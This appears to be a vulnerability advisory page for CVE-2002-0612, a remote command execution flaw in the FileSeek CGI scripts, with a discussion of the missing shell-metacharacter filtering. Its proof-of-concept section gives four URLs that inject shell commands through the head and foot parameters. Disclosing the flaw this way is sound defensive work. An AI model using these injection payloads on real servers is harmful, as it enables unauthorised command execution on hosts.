FileSeek CGI Script Remote Command Execution Vulnerability

BID:6783

Info

FileSeek CGI Script Remote Command Execution Vulnerability

Bugtraq ID: 6783
Class: Input Validation Error
CVE: CVE-2002-0612
Remote: Yes
Local: No
Published: Apr 16 2002 12:00AM
Updated: Jul 11 2009 08:06PM
Credit: Discovery of this vulnerability has been credited to Thijs Bosschert ([email protected])
Vulnerable: Wiley Computer Publishing Craig Patchett FileSeek2.cgi
Wiley Computer Publishing Craig Patchett FileSeek.cgi
Not Vulnerable:

Discussion

FileSeek CGI Script Remote Command Execution Vulnerability

FileSeek is an example cgi-script from "The CGI/Perl Cookbook from John Wiley &
Sons". The script is written and maintained by Craig Patchett. It is mainly used to find and download files on a web server.

It has been reported that FileSeek.cgi and FileSeek2.cgi do not filter shell metacharacters from web requests. As a result, it is possible for a remote attacker to execute commands on the shell of a host running the vulnerable script. Commands will be executed with the privileges of the webserver process.

This impact of this vulnerability is that an attacker may gain local, interactive access to the host.

Exploit / POC

FileSeek CGI Script Remote Command Execution Vulnerability

The following proof of concept code was provided by Thijs Bosschert ([email protected]):

http://www.example.com/cgi-bin/FileSeek.cgi?head=&foot=;id|
http://www.example.com/cgi-bin/FileSeek.cgi?head=;id|&foot=

http://www.example.com/cgi-bin/FileSeek.cgi?head=&foot=|id|
http://www.example.com/cgi-bin/FileSeek.cgi?head=|id|&foot=

Solution / Fix

FileSeek CGI Script Remote Command Execution Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

References

FileSeek CGI Script Remote Command Execution Vulnerability

References:

© CVE.report 2026

Use of this information constitutes acceptance for use in an AS IS condition. There are NO warranties, implied or otherwise, with regard to this information or its use. Any use of this information is at the user's risk. It is the responsibility of user to evaluate the accuracy, completeness or usefulness of any information, opinion, advice or other content. EACH USER WILL BE SOLELY RESPONSIBLE FOR ANY consequences of his or her direct or indirect use of this web site. ALL WARRANTIES OF ANY KIND ARE EXPRESSLY DISCLAIMED. This site will NOT BE LIABLE FOR ANY DIRECT, INDIRECT or any other kind of loss.

CVE, CWE, and OVAL are registred trademarks of The MITRE Corporation and the authoritative source of CVE content is MITRE's CVE web site. This site includes MITRE data granted under the following license.

Free CVE JSON API cve.report/api

CVE.report and Source URL Uptime Status status.cve.report